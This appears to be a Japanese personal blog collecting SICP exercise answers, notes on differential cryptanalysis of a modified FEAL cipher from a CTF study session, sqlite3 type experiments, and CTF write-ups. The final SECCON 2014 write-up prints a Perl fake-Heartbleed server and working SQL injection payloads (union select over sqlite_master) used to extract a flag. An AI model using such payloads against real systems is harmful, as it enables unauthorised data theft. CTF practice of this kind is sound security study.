2016-02-06

SICP 演習問題 1.2

SICP

Exercise 1.9

(define (+ a b)
(if (= a 0) b (inc (+ (dec a) b))))

(+ 4 5)
(inc (+ 3 5))
(inc (inc (+ 2 5)))
(inc (inc (inc (+ 1 5))))
(inc (inc (inc (inc (+ 0 5)))))
(inc (inc (inc (inc 5))))
(inc (inc (inc 6))
(inc (inc 7)
(inc 8)
9

再帰

(define (+ a b)
(if (= a 0) b (+ (dec a) (inc b))))

(+ 4 5)
(+ (dec 4) (inc 5))
(+ 3 (inc 5))
(+ (dec 3) (inc (inc 5)))
(+ 2 (inc(inc 5)))
(+ (dec 2) (inc (inc (inc 5))))
(+ 1 (inc (inc (inc 5))))
(+ (dec 1) (inc (inc (inc (inc 5)))))
(+ 0 (inc (inc (inc (inc 5)))))
(inc (inc (inc (inc 5))))
9

反復

Exercise 1.10

(A 1 10)
(A 0 (A 1 9)
(A 0 (A 0 A(1 8)))
(A 0 (A 0 A(0 A(1 7))))
...
1024

(A 2 4)
(A 1 (A 2 3))
(A 1 (A 1 (A 2 2)))
(A 1 (A 1 (A 1 (A 2 1))))
(A 1 (A 1 (A 1 2)))
(A 1 (A 1 (A 0 (A 1 1))))
(A 1 (A 1 (* 2 2)))
(A 1 (A 0 (A 1 3)))
(A 1 (A 0 (A 0 (A 1 2))))
...
2^16

(A 3 3)
(A 2 (A 3 2))
(A 2 (A 2 (A 3 1)))
(A 2 (A 2 2))
(A 2 (A 1 (A 2 1)))
(A 2 (A 1 2))
(A 2 (A 0 (A 1 1)))
(A 2 (A 0 2))
(A 2 4)
...
2^16

(define (f n) (A 0 n))
(f n) -> 2n

(define (g n) (A 1 n))
(g n) -> 2^n

(define (h n) (A 2 n))
(h n) -> 2^(2^n)

2の2のn乗乗？？

Exercise 1.11

(define (f n)
(cond (< n 3) n)
(else (+ (f (- n 1)) (f (- n 2)) (f (- n 3))))
)

Excercise 1.12

#lang racket
(define (pascal x y)
(cond ((< y 1) 0)
((> y x) 0)
((= y 1) 1)
((= y x) 1)
(else (+ (pascal (- x 1) (- y 1))
(pascal (- x 1) y)))))

Exercise 1.13

Fib(0)=0
Fib(1)=1
Fib(n)=Fib(n-1)+Fib(n-2)

Fib(n)=(φ^(n) - ψ^(n))/a
( a = 5^(1/2) )
を証明
n=0のとき、n=1のとき、成立
Fib(k) = (φ^(k) - ψ^(k))/a
Fib(k+1) = (φ^(k+1) - ψ^(k+1))/a
が成立すると仮定して、
Fib(k+2)のとき
Fib(k+2)=(φ^(k+2) - ψ^(k+2))/a
を示す.
Fib(n+2)
= ( φ^(n+1) - ψ^(n+1) + φ^(n) - ψ^(n) )/a
= ( φ^n(φ+1)-ψ^n(ψ+1) )/a
= (φ^(k+2) - ψ^(k+2))/a
∵ φ+1 = φ^2 , ψ+1 = ψ^2

よって帰納法により、
Fib(n)=(φ^(n) - ψ^(n))/a

Exercise 1.14

はれないので省略

Exercise 1.15

12.15/3 = 4.05
4.05/3 = 1.35
1.35/3 = 0.45
0.45/3 = 0.15
0.15/3 = 0.03

4回

aに対しては3を底とする対数のオーダーなのでO(logn)となる。

Exercise 1.16

(define (fast-expt b n)
(expt-iter 1 b n ))
(define (expt-iter a b n)
(cond ((= n 0) a)
((even? n) (expt-iter (* (square b) a) b (/ n 2)))
(else (expt-iter (* b a) b (- n 1)))))

Exercise 1.17

(define (fast-* a b)
(cond (= b 0) 0
(even? n) (+ (double a) (* a (halve b) ))
(else (+ a (* a (- b 1) )))))

Exercise 1.18

(define (fast-* a b c)
(cond (= b 0) 0
(even? n) (* a (halve b) (+ (double a) c) )
(else (* a (- b 1) (+ a c) ))))

Exercise 1.19

a <- bq + aq + ap
b <- bp + aq

a <- (bp+aq)q + (bq + aq + ap)q + (bq + aq + ap)p
= bpq + aq^2 + bq^2 + aq^2 + apq + bpq + apq + ap^2
= b(2pq + q^2) + a(2q^2 + 2pq + p^2)
= b(2pq + q^2) + a(2pq+q^2) + a(q^2+p^2)

b <- (bp + aq)p + (bq + aq + ap)q
= b(p^2 + q^2) + a(2pq + q^2)
i.e.
P' = (p^2 + q^2)
q' = (2pq + q^2)

(define (fib n)
(fib-iter 1 0 0 1 n))
(define (fib-iter a b p q count)
(cond
((= count 0) b)
((even? count)
(fib-iter a
b
(+ (* p p) (* q q))
(+ (* 2 p q) (* q q))
(/ count 2)))
(else (fib-iter (+ (* b q) (* a q) (* a p))
(+ (* b q) (* a q))
p
q
(- count 1)))))

Exercise 1.20

(define (gcd a b)
(if (= b 0)
a
(gcd b (remainder a b))))

適用順

(gcd 206 40)
(gcd 40 (remainder 206 40))
(gcd 40 6)
(gcd 6 (remainder 40 6))
(gcd 6 4)
(gcd 4 (remainder 6 4))
(gcd 4 2)
(gcd 2 (remainder 4 2))
(gcd 2 0)
2

正規化順

(gcd 206 40)
(gcd 40 (remainder 206 40))
(if (= (remainder 206 40) 0)
40
(gcd (remainder 206 40) (remainder 40 (remainder 206 40))))
(if (= 6 0)
40
(gcd (remainder 206 40) (remainder 40 (remainder 206 40))))
(gcd (remainder 206 40) (remainder 40 (remainder 206 40))))
(if (= (remainder 40 (remainder 206 40)) 0)
(remainder 206 40)
(gcd (remainder 40 (remainder 206 40))
(remainde 6 (remainder 40 (remainder 206 40)))))

Exercise 1.21

#lang racket
(define (smallest-divisor n) (find-divisor n 2))

(define (find-divisor n test-divisor)
(cond ((> (square test-divisor) n) n)
((divides? test-divisor n) test-divisor)
(else (find-divisor n (next test-divisor)))))

(define (divides? a b) (= (remainder b a) 0))

(define (prime? n) (= n (smallest-divisor n)))

(define (square n) (* n n))

(define (next n) (+ n 1))

(smallest-divisor 199)
;->199
(smallest-divisor 1999)
;->1999
(smallest-divisor 19999)
;->7

Exercise 1.22

#lang Racket
(define (smallest-divisor n) (find-divisor n 2))
(define (find-divisor n test-divisor)
(cond ((> (square test-divisor) n) n)
((divides? test-divisor n) test-divisor)
(else (find-divisor n (next test-divisor)))))
(define (divides? a b) (= (remainder b a) 0))
(define (prime? n) (= n (smallest-divisor n)))
(define (square n) (* n n))
(define (next n) (+ n 1))

(define (timed-prime-test n)
(newline) (display n) (start-prime-test n (current-inexact-milliseconds)))

(define (start-prime-test n start-time)
(if (prime? n) (report-prime (- (current-inexact-milliseconds) start-time)) -1))

(define (report-prime elapsed-time)
(display " *** ") (display elapsed-time))

(define (runtime) (current-milliseconds))
(timed-prime-test 1009)
(timed-prime-test 1013)
(timed-prime-test 1019)
(timed-prime-test 10007)
(timed-prime-test 10009)
(timed-prime-test 10037)
(timed-prime-test 100003)
(timed-prime-test 100019)
(timed-prime-test 100043)
(timed-prime-test 1000003)
(timed-prime-test 1000033)
(timed-prime-test 1000037)

結果

1009 *** 0.1689453125
1013 *** 0.004150390625
1019 *** 0.00390625
10007 *** 0.01220703125
10009 *** 0.010986328125
10037 *** 0.010986328125
100003 *** 0.031982421875
100019 *** 0.031982421875
100043 *** 0.031982421875
1000003 *** 0.10009765625
1000033 *** 0.10009765625
1000037 *** 0.10009765625

1009だけ異様に遅い。。。

他はおおむね理論通り。

Exercise 1.23

#lang racket
(define (smallest-divisor n) (find-divisor n 2))

(define (find-divisor n test-divisor)
(cond ((> (square test-divisor) n) n)
((divides? test-divisor n) test-divisor)
(else (find-divisor n (next test-divisor)))))

(define (divides? a b) (= (remainder b a) 0))

(define (prime? n) (= n (smallest-divisor n)))

(define (square n) (* n n))

(define (next n)
(cond ((= n 2) 3)
(else (+ n 2))))
(define (timed-prime-test n)
(newline) (display n) (start-prime-test n (current-inexact-milliseconds)))

(define (start-prime-test n start-time)
(if (prime? n) (report-prime (- (current-inexact-milliseconds) start-time)) -1))

(define (report-prime elapsed-time)
(display " *** ") (display elapsed-time))

(timed-prime-test 1009)
(timed-prime-test 1013)
(timed-prime-test 1019)
(timed-prime-test 10007)
(timed-prime-test 10009)
(timed-prime-test 10037)
(timed-prime-test 100003)
(timed-prime-test 100019)
(timed-prime-test 100043)
(timed-prime-test 1000003)
(timed-prime-test 1000033)
(timed-prime-test 1000037)

結果

1009 *** 0.200927734375
1013 *** 0.003173828125
1019 *** 0.0029296875
10007 *** 0.007080078125
10009 *** 0.005859375
10037 *** 0.007080078125
100003 *** 0.01904296875
100019 *** 0.01904296875
100043 *** 0.02001953125
1000003 *** 0.06005859375
1000033 *** 0.06005859375
1000037 *** 0.05908203125

半分ではなく、3：2ぐらいの減り具合。これは(next n) のオーバヘッドのせいではないか。

Exercise 1.24

#lang Racket
(define (expmod base exp m)
(cond ((= exp 0) 1)
((even? exp)
(remainder
(square (expmod base (/ exp 2) m)) m))
(else
(remainder
(* base (expmod base (- exp 1) m)) m))))

(define (square a) (* a a))

(define (fermat-test n)
(define (try-it a)
(= (expmod a n n) a))
(try-it (+ 1 (random (- n 1)))))

(define (fast-prime? n times)
(cond ((= times 0) true)
((fermat-test n) (fast-prime? n (- times 1)))
(else false)))
(define (timed-prime-test n)
(newline) (display n) (start-prime-test n (current-inexact-milliseconds)))

(define (start-prime-test n start-time)
(if (prime? n) (report-prime (- (current-inexact-milliseconds) start-time)) -1))

(define (report-prime elapsed-time)
(display " *** ") (display elapsed-time))

(timed-prime-test 1009)
(timed-prime-test 1013)
(timed-prime-test 1019)
(timed-prime-test 10007)
(timed-prime-test 10009)
(timed-prime-test 10037)
(timed-prime-test 100003)
(timed-prime-test 100019)
(timed-prime-test 100043)
(timed-prime-test 1000003)
(timed-prime-test 1000033)
(timed-prime-test 1000037)

Exercise 1.25

巨大な数の演算をしてしまう。。。

#lang Racket
(define (expmod base exp m)
(cond
((= exp 0) 1)
(( even? exp)
(remainder
(square (expmod base (/ exp 2) m)) m))
(else
(remainder
(* base (expmod base (- exp 1) m)) m))))

(define (square a) (* a a))

(define (expmod2 base exp m)
(remainder (fast-expt base exp) m))

(define (fast-expt base exp)
(cond
((= exp 0) 1)
(( even? exp) (square (fast-expt base (/ exp 2))))
(else (* base (fast-expt base (- exp 1))))))

Exercise 1.26

(remainder (* (expmod base (/ exp 2) m)
(expmod base (/ exp 2) m))

これは、expmodを二回計算してしまうため、計算料の節約が帳消しになる。

Exercise 1.27

#lang Racket
(define (expmod base exp m)
(cond ((= exp 0) 1)
((even? exp)
(remainder
(square (expmod base (/ exp 2) m)) m))
(else
(remainder
(* base (expmod base (- exp 1) m)) m))))

(define (square a) (* a a))

(define (fermat-test n a)
(= (expmod a n n) a))

(define (carmichael-prime? n times)
(cond ((= times 0) true)
((fermat-test n times) (carmichael-prime? n (- times 1)))
(else false)))

(define (carmichael-test n) (carmichael-prime? n (- n 1)))

(carmichael-test 6601)

Exercise 1.28

;(= expmod( a n-1 n) 1)
; n is prime
;任意のaについていかが成り立つ
; 0 < a < n (a∈N)
; a^(n-1) ≡ 1 (mod n)
;かつ、以下を満たすaが存在しない
; 1 < a < n-1
; a^2 ≡ 1 (mod n)

#lang Racket
(define (expmod base exp m)
(cond ((= exp 0) 1)
((even? exp)
(if (= (remainder (square base) m) 1) 0
(remainder
(square (expmod base (/ exp 2) m)) m)))
(else
(remainder
(* base (expmod base (- exp 1) m)) m))))

(define (square a) (* a a))

(define (miller-rabin-test n)
(define (try-it a)
(= (expmod a (- n 1) n) 1))
(try-it (+ 1 (random (- n 1)))))

(define (fast-prime2? n times)
(cond ((= times 0) true)
((miller-rabin-test n) (fast-prime2? n (- times 1)))
(else false)))

(fast-prime2? 2821 10)
(fast-prime2? 6601 100)
(fast-prime2? 10007 100)

2016-02-06

SICP 演習問題 1.1

SICP

実はちょっと前からやっていたんだけど、長続きしないと恥ずかしいからアップするのを控えていた。

それなりに続いているし、このまま止まらないようにアップして自分を追い詰めることにした。

とりあえず1章から順番に。。。

Exercise 1.1

10
# -> 10

(+ 5 3 4)
# -> 12

(- 9 1)
#-> 8

(/ 6 2)
# -> 3

(+ (*2 4) (- 4 6))
# -> (+ 8 -2)
# -> 6

(define a 3)
(define b (+ a 1)
(+ a b (*a b))
# -> (+ 3 4 12)
# -> 19

(= a b)
# -> false

(if (and (> b a) (< b (*a b)))
b
a)
# -> (if (and true true)) b a)
# -> b

(cond ((= a 4) 6)
((= b 4) (+ 6 7 a))
(else 25))
# -> (cond (fase 6) (true 16) (else 25))
# -> 16

(* (cond ((> a b) a)
((< a b) b)
(else -1))
(+ a 1))
# -> (* b 4)
# -> 16

Exercise 1.2

(/ (+ 5 4 (- 2 (- 3 (+ 6 (/ 4 5)))))
(* 3 (- 6 2) (- 2 7)))

Exercise 1.3

#lang Racket
(define (sum-sqrt a b) (+ (* a a) (* b b))) 
(define (major-sum-sqrt x y z)
(cond ((and (< x y) (< x z)) (sum-sqrt y z)) 
((and (< y x) (< y z)) (sum-sqrt x z))
(else (sum-sqrt x y))))

(major-sum-sqrt 1 2 3)
(major-sum-sqrt 4 2 3)
(major-sum-sqrt 1 4 3)

Exercise 1.4

b>0のとき

(if (> b 0) + -)

の評価結果は + となり、 (+ a b) が評価される。

他方b<0のとき

(if (> b 0) + -)

の評価結果は - となり、 (- a b) が評価される。

上記の通り、評価結果として手続き ( + or - ) が返せる＝「演算子が複合式であるような組み合わせが作れる」ということ？

Exercise 1.5

適用順序評価の場合、以下のように評価され、0を返す。

(test 0 (p)) ; (testを評価
(if (= x 0) 0 (p)) ; (= x 0) を評価
0

正規順序評価の場合、無限ループする

(test 0 (p)) ; (p) を評価
(test 0 (p)) ; (p) を評価
...

Exercise 1.6

new-if ではtrue 節、 else 節両方が評価されてしまうため、処理が終了しない。

(define (new-if predicate then-clause else-clause)
(cond (predicate then-clause)
(else else-clause)))

(define (sqrt-iter guess x)
(new-if (good-enough? guess x)
guess
(sqrt-iter (improve guess x) x)))

(sqrt-iter 1.0 2)
;sqrt-iterを展開
(new-if (good-enough? 1.0 2) 1.0 (sqrt-iter (improve 1.0 2) 2))
;new-if を展開
(cond (good-enough? 1.0 2) 1.0 (sqrt-iter (improve 1.0 2) 2))
;good-enough?を評価
;sqrt-iterを展開
;以下略

以下の例を実行すると、
ture, else 双方が評価されていることが分かる。
（＝返り値が正しくても副作用がある場合バグる）

#lang Racket
(define (new-if predicate then-clause else-clause)
(cond (predicate then-clause)
(else else-clause)))
(define (then-stub) (display "I'm then-clause")(newline)(= 0 0))
(define (else-stub) (display "I'm else-clause")(newline)(= 0 1))

;返り値は#t（true）だが、displayはthen, else 両方出る
(new-if (> 1 0)
(then-stub)
(else-stub))
;返り値は#f（false）だが、displayはthen, else 両方出る
(new-if (> 0 1)
(then-stub)
(else-stub))

Exercise 1.7

小さい数の場合、推測値が誤差許容範囲(0.0001)よりも小さくなると、誤差判定を必ずパスしてしまう。
（例： 10^-4のオーダーで引き算したら必ず答えは 0.0001より小さくなる）

大きい数の場合、小数桁がけた落ちしてしまうので、小さい差分の比較ができなくなる。（評価が終わらない）

Exercise 1.8

#lang Racket
(define (cube-root guess x)
(if (good-enough? guess x)
guess
(cube-root (improve guess x) x)))
(define (good-enough? guess x)
(< (abs (- (cube guess) x)) 0.001))
(define (improve guess x)
(/ (+ (/ x (square guess)) (* 2 guess)) 3))
(define (square x) (* x x))
(define (cube x) (* x x x))

(cube-root 1.0 8)

2016-01-29

Katagaitai CTF勉強会　関東med (Crypt 理論編？）

先週末に行ってきた勉強会。とてもタメになった。

が、なかなか本腰いれて取り組めないので、少しずつアップすることにした。

今回は午前中のcryptについて、理論面を整理。実装は、きっとこのあとやる・・・はず。

問題

CSAW CTF 2014 – Crypto300 – feal.py

FEAL（the Fast Data Encipherment Algorithm）

https://ja.wikipedia.org/wiki/FEAL

の復号を扱う問題。

第１段階

特定条件を満たす値が要求される

a sha1 sum ending in 16bits set to 1
it must be of length 21 bytes
starting with [毎度変化する乱数]

時間制限は特に無いもよう。何度か試したが乱数は必ず16byteなので、21-16=5byteのブルートフォースを考える。

以下のループを作る。（速度考えC言語）

末尾5byteを1bitずつインクリメントする
各ループでSHA1hashを計算
計算したSHA1hashの末尾16bitが1になっていたらbreak

また、ネットワーク経由で回答するので、以下のスクリプトを用意

サーバにソケットをはる
乱数部を取得する
ブルートフォースの結果を送信する

第2段階

暗号文の復号を求められる。

任意の値を入力すると、その暗号化結果を返してくる。（この時、同じ鍵を使って暗号化している）

↑重要。しばらくこれに気づかなかったので解法のアプローチが理解できなかった

問題名をググるとFEAL暗号に行き着く。

金言：暗号問題は、とにかくググッて暗号文アルゴリズムと解法を見つける

FEAL暗号の仕組みを書こうとすると勉強会スライドのコピペになってしまいそうなので、自分が理解する過程で書いたメモをここにおいておく。

注意点(自分へのToDoも兼ねて）

ページ数は勉強会資料のスライド番号
勉強会資料のURLは公開され次第反映予定（覚えていれば
勉強会当時と内容が修正されている場合、ページ数に齟齬が出るかも（覚えていれば修正する
以降勉強会資料中では XOR演算を + と表記しているので、ここでもそれに習います。 （+ は加算ではないので注意）

FEALの概要 (pp25-27)

共通鍵暗号方式
ブロック暗号

暗号解析のアプローチ(pp28-29)

僅かに異なる2つの入力を与えてみて、暗号化結果の相関を見る。（共通部分が同じ暗号化結果になる場合、それはヒントになり得る）

差分解析

FEALにおける差分解析の有効性(pp30-31)

４ラウンドあるので、１ラウンドずつ見ていく。(p30)

8byte毎に分割した4つの入力を処理しているので、これらの組み合わせ（同じ／違う）を考える
ラウンド内にある関数G0,G1は入力が(0,0)の場合に特定の値(0 or 4)を吐き出す。
- Gn(a,b) = (n or a or b) mod 256 <<< 2
- G0(0,0) = (0 or 0 or 0) mod 256 <<< 2 = 0 <<< 0 = 0
- G1(0,0) = (1 or 0 or 0) mod 256 <<< 2 = 1 <<< 2 = 4

x0～x4までの値の組み合わせを工夫して、G0とG1への入力を0にする方法を考える
（考えるというか、誰かが考えた内容を見つけて理解する）

解析手順(p32)

途中にXOR演算が存在する
XOR演算の箇所に同じ値が入るようにすれば 0 が作れる

具体的な値を入れて差分をとってみる(pp33- )

(pp33-34)

図中でも書いてくれているが、自分で各値を計算して整理してみたのが以下。
（計算して資料と合わない点は質問ちう）

(x0,x1,x2,x3) → (y0,y1,y2,y3)
とした時、y0～y3の定義は

y0 = G0(x0, y1)
= G0(x0, G1(x0+x1, x2+x3))
y1 = G1(x0+x1, x2+x3)
y2 = G0(y1, x2+x3)
= G0(G1(x0+y1,x2+x3), x2+x3)
y3 = G1(y2, x3)
= G1(G0(G1(x0+y1,x2+x3), x2+x3),x3)

ここで、x0=x1, x2=x3 とすると、x0+x1=0, x2+x3=0のため、

y0 = G0(x0, G1(x0+x1, x2+x3))
= G0(x0, G1(0,0))
= G0(x0, 4)
y1 = G1(0,0)
= 4
y2 = G0(y1,0)
= G0(4,0)
= 16
y3 = G1(16,x3)

スライドだとy2=32だが? →(2/6追記)
bataさんより、本問は3bitシフトなので32で正しいとご指摘いただいた。

@linus404 「スライドだとy2=32だが?」→ この問題は，本来のFEALではなく，少し改変されたFEALなんです．なのでG()内のシフト量がオリジナルとは違う事に注意して下さい．(引用した資料の図が間違ってて，<<<2じゃなくて<<<3です．y2=32は合ってます)
— bata (@bata_24) 2016, 1月 29

確かに、ソースを見たらその通りだった。
何故見ようとしなかったのだろう・・・

def rot3(x):
    return ((x<<3)|(x>>5))&0xff
def gBox(a,b,mode):
    return rot3((a+b+mode)%256)

(追記おわり)

もう一つの入力

(x'0,x'1,x'2,x'3) → (y'0,y'1,y'2,y'3)

については、x,yをx',y'にするだけなので省略

差分は

⊿y0 = G0(x0,4)+G0(x'0,4)
⊿y1 = 4 + 4
= 0 （※一見おかしいけど、 + は xor なので正しい）
⊿y2 = 32 + 32
= 0
⊿y3 = G1(32,x3) + G1(32,x'3)

出力差分がx1, x3のみに依存する＝偏る

(pp35-36)

X = 0x00000000 (X0=0x00, X1=0x00, X2=0x00, X3=0x00)
X' = 0x80800000 (X0=0x80, X1=0x80, X2=0x00, X3=0x00)

y0 = G0(0,4) = 0x10
y'0 = G0(0x80,4) = 0x84 <<< 3 = 0x12 
⊿y0 = 0x02

y3 = y'3 = G1(32, 0)
⊿y3 = 0

特定の⊿xになる入力で⊿yを推測可能 *

(pp37-41)

以上は1ラウンドだけの話
これを4ラウンド続けたらどうなるか。

Y, Y'を計算してから⊿Yを導いてみる

X = 0x00000000 (X0=0x00, X1=0x00, X2=0x00, X3=0x00)
X' = 0x80800000 (X0=0x80, X1=0x80, X2=0x00, X3=0x00)

1段目入力

左：P1l=X+K4 ⊿P1l=⊿X
右：P1r=K4+K5 ⊿P1r=0

1段目出力

左：C1l=X+K4+f(K0+K4+K5)
⊿C1l = ⊿X = 0x80800000
右；C1r=K4+K5
⊿C1r = 0

2段目入力

左：P2l=P1r ⊿P2l = 0
右：P2r=C1l ⊿P2r = 0x80800000

2段目出力

左：C2l=P2l+f(K1+C1l)
⊿C2l = f(0x80800000) = 0x02000000
右：C2r=P2r
⊿C2r = 0x80800000

3段目入力

左：P3l=C2r ⊿P3l=0x80800000
右：P3r=C2l ⊿P3r=0x02000000

3段目出力

左：C3l=P3l+f(K2+P3r)
⊿C3l = 0x80800000 + ⊿f(K2+P3r) = ???
右：C3r=P3r
⊿C3r = 0x02000000

4段目入力

左：P4l=C3r ⊿P4l=0x02000000
右：P4r=C3l ⊿P4r=不明

4段目出力

左：C4l=P4l+f(K3+P4r)
⊿不明
右：C4r=P4r
⊿P4r=不明

(pp42-46)

最終的な出力から考えてみると、

左出力： Cl = C4l
右出力： Cr = C4r+C4l = P4r + Cl

よって、

P4r=Cr+Cl となる。

つまり、狙った差分の入力X,X'から、C, C'を得られれば、逆算可能。
（そして、C,C'は暗号化結果なので取得可能な値）

(pp47-53)

4つの値（左右入出力差分）がわかったので、Key3が逆算可能

あとは芋づる式に K2, K1 K0, K4, K5 を求める。

K3：
⊿C1= ⊿P4l+f(C4r+K3)+f(C'4r+K3)
=0x02000000+f(Cl+Cr+K3)+f(C'l+C'r+K3)
C4r=Cr+Cl
C4l=Cl
K2:
⊿C3l=⊿P3l+f(C3r+K2)+f(C'3r+K2)
C3r=C4l+f(C4r+K3)
C3l=C4r
K1:
⊿C2l=⊿P2l+f(C2r+K1)+f(C'2r+K1)
C2r=C3l+f(C3r+K2)
=C1+C2+f(C3r+K2)
C2l=C3r
K0:
⊿C1l=⊿P1l+f(C1r+K0)+f(C'1r+K0)
C1r=C2l+f(C2r+K0)
C1l=C2r
K4:
K4=P1l+Pl=C1l+f(C1r+K0)+Pl
K5:
K5=C1r+Pr+K4+Pl

後はこれを実装すれば、きっと・・・（まだやっていない）

2015-12-09

SECCON 2015 online

前日が同期の結婚式で多忙だったので抜け殻状態でトライ。

二日酔いの寝不足で途中寝落ちたりしたので、実質3時間程度しか戦っていない。

結果、1問 300点しか取れませんでした。

やっぱ片手間じゃ太刀打ちできませんよねー。

# network 100 Entry form

## 大会中の動き

Webアプリ系問題。

Emailアドレスと名前を入力する登録フォーム。

ディレクトリトラバーサルで問題アプリのソースコードを発見。

sendmailを使って登録完了メールを送るソースだったので、捨てアドで登録してメールヘッダインジェクションを試みるも、そもそもメールが届かない。

じゃあコマンドインジェクションかー。と試してみるが、動かず。

一旦他の問題に移り、そのまま放置

## 事後の反省

WirteUpを見る限り、アプローチは正しかった模様。

おそらくは、構文の組み立てがちゃんとできていなかったのだと思う。

（シングルクォーテーションの扱いとか、気をつけたつもりだけど雑だったんだと思う）

# network 200 fragment2

## 大会中の動き

pcap解析の問題。

パケット末尾に the flag is in header とあったので、ヘッダを順番にみてみる。

しかし、

- pcapヘッダ

- etherヘッダ

- ipヘッダ

- tcpヘッダ

いずれも不審点なし。

tcpヘッダの末尾から the flag is...の間に 70バイトほどのデータが有ったので、ここに着目。

port80だし、HTTP2だろーと思って、Wiresharkでデコードしてみる。

が、デコード出来ず。

万策尽きて、別の問題へ

## 事後の反省

なんと、予想通り HTTP2だったらしい。

Wiresharkをバージョンアップして再度試したところ、うまくデコードできた。。。グダグダ

そしてHeader Block Fragmentがある。これがFragment2か。

HPACKされているはずなので、こいつをHPACKデコードすればフラグが出そう。

go言語のHAPCKデコーダを見つけたので、こいつを使えばいけそうな予感。

（go書いたことないけど）

github.com

# Unknown 300 Exec dmesg

## 大会中の動き

Linuxのisoイメージが配布される。

中身は tiny core linux.

新入社員のとき仕事で使ってた懐かしいOS。

問題文のとおりdmesgを実行しようとしたが、busybox にねーよと怒られる。

dmesgの本体は /var/ だか /dev/ にあるはずだけど思いだせねー

と思い、 dmesgアリ版のbusyboxを調達することにする。

uname -a したところ、幸い、i686だったので特に障害も無し。

dmesgできるバイナリを配置して、実行すると、dmesg中にフラグを見つけた。

## 事後の反省

別のWriteupで

```

# grep -iR SECCON /

でフラグ発見。grep最強！

```

という記述を見て、エレガントだと思った。

また、dmesgを目grepでフラグ見つけた自分、アカンなと思った。

# 全体

今回はスケジュール的に専念出来ない状況だったので、まあ仕方ないといえば仕方ない。

逆に、腰を据えて挑まないとろくにパフォーマンスが出ないということをよく証明する意味で、良い悪い見本（？）となる経験だった。

あとどうでもいいけど、出題者QRコード好き過ぎ。

やってないけど。

2015-04-26

sqlite3のデータ型について

いくつか驚いたことがあったので忘れないようにメモ。

結論

create文で存在しないデータ型を指定してもエラーにならない
integer型のカラムに数字に出来そうにない文字列(e.g. sqlite)をぶち込んでもエラーにならない（text型で格納される）
データ型は「その型しか入らない」ではなく、「その型に変換できないかがんばる」ためのものと捉えた方がいい

実験

まずは、 integer型のidと、text型のnameというフィールドを持つテーブルを試す。

sqlite> create table texttype (id integer, name text);
sqlite> insert into texttype values (1, 'alice');
sqlite> insert into texttype values ('2', 'bob');
sqlite> insert into texttype values ('c', 'cindy');
sqlite> insert into texttype values (2.5, 1234);
sqlite> select id, typeof(id), name, typeof(name) from texttype;
1|integer|alice|text
2|integer|bob|text
c|text|cindy|text
2.5|real|1234|text

integer型の場合
整数→integer
数字リテラル→integer (型変換)
非数字リテラル→text
小数→real

と、当たり前のように整数型以外が入った。
どうも、「型変換はがんばるが、無理ならそのまま入れる」みたいな作りらしい。

続いて、あり得ないデータ型（foo, bar）でつくってみる。

sqlite> create table othertype (id foo, name bar);
sqlite> insert into othertype values (1, 'alice');
sqlite> insert into othertype values ('2', 'bob');
sqlite> insert into othertype values ('c', 'cindy');
sqlite> insert into othertype values (2.5, 1234);
sqlite> select id, typeof(id), name, typeof(name) from othertype;
1|integer|alice|text
2|integer|bob|text
c|text|cindy|text
2.5|real|1234|integer

型変換なしで何でも入る模様。

これだと

create table jiro (yasai mashimashi, ninniku Chomolungma, choi karame )

とか出来ちゃうってことか。。。

んー。DBのデータ型って意識したことなかったけど、こんなものなのか・・・

他のDBMSも調べてみよう。

2014-12-07

SECCON2014 オンライン予選（en） QR300 SECCON Wars: The Flag Awakens

スターウォーズのオープニングみたいなムービー。

ただし、テロップの最後にQRコードっぽいのが見える。
そこで、フレームをJPGに切り出し
　↓
必要箇所だけトリミング
　↓
つなげる
　↓
読み込む
　↓
フラグ！

ちなみにトリミングは IrfanViewを利用。
結合もフリーソフト。

あるもん使いで突破できてラッキー

2014-12-07

SECCON2014 オンライン予選（en） web300 Bleeding "Heartbleed" Test Web

HeartBleedの脆弱性を持つサイトをテストする画面。
とりあえず、HeartBleedの脆弱性を持つVMを用意する。

実際実行してみたところ、特にリクエストにフラグ等はない。
（リクエストのパディングにフラグ埋め込むのだろうと思っていたので調子はずれ）

なんどうか実行していたら、偶然SQLエラーが発生した。
そこでこれがSQLi問題なのだと知る。

で、HeartBleedで抜き出されるメモリ内容の代わりに、任意の文字列を返すため、ハニーポットを用意。

#!/usr/bin/perl
# hb_honeypot.pl -- a quick 'n dirty honeypot hack for Heartbleed
#
# This Perl script listens on TCP port 443 and responds with completely bogus
# SSL heartbeat responses, unless it detects the start of a byte pattern
# similar to that used in Jared Stafford's (jspenguin@jspenguin.org) demo for
# CVE-2014-0160 'Heartbleed'.
#
# Run as root for the privileged port. Outputs IPs of suspected heartbleed scan
# to the console. Rickrolls scanner in the hex dump.
#
# 8 April 2014
# http://www.glitchwrks.com/
# shouts to binrev
use strict;
use warnings;
use IO::Socket;
my $sock = new IO::Socket::INET (
LocalPort => '443',
Proto => 'tcp',
Listen => 1,
Reuse => 1,
);
die "Could not create socket!" unless $sock;
# The "done" bit of the handshake response
my $done = pack ("H*", '16030100010E');
# Your message here
#my $taunt = "09809*)(*)(76&^%&(*&^7657332 Hi there! Your scan has been logged! Have no fear, this is for research only -- We're never gonna give you up, never gonna let you down!";
my $taunt = "09809*)(*)(76&^%&(*&^7657332 'union select flag from ssFLGss; ";
my $troll = pack ("H*", ('180301' . sprintf( "%04x", length($taunt))));
# main "barf responses into the socket" loop
while (my $client = $sock->accept()) {
$client->autoflush(1);
my $found = 0;
# read things that look like lines, puke nonsense heartbeat responses until
# a line that looks like it's from the PoC shows up
while (<$client>) {
my $line = unpack("H*", $_);
if ($line =~ /^0034.*/) {
print $client $done;
$found = 1;
} else {
print $client $troll;
print $client $taunt;
}
if ($found == 1) {
print $client $troll;
print $client $taunt;
print $client->peerhost . "\n";
$found = 0;
}
}
}
close($sock);

そこに以下の順で攻撃コードを書いた。

まずはテーブルスキーマの把握。
エラー文から、実行されているＳＱＬは

select time from results where result='Co...

だとわかったので、union selectで色々表示させてみる。

テーブル名をまず見てみる

' union select name from sqlite_master;

1回目では　results というテーブル名が出てきてハズレっぽかったので

' union select name from sqlite_master where name!='results';

と、次のテーブル名を表示。
すると ssFLGss というテーブル名がでた。

テーブル構造を把握するため

' union select sql from sqlite_master name='ssFLGss';

すると flag ってフィールドがあるとわかったので、
最後のコード

'union select flag from ssFLGss;

を実行。

フラグ取得。

ちなみに今回外部アクセス可能なサーバはCloudnを使用して立ち上げました。
詳しいメンバーがいたとはいえ、一瞬で環境構築まで出来て驚き。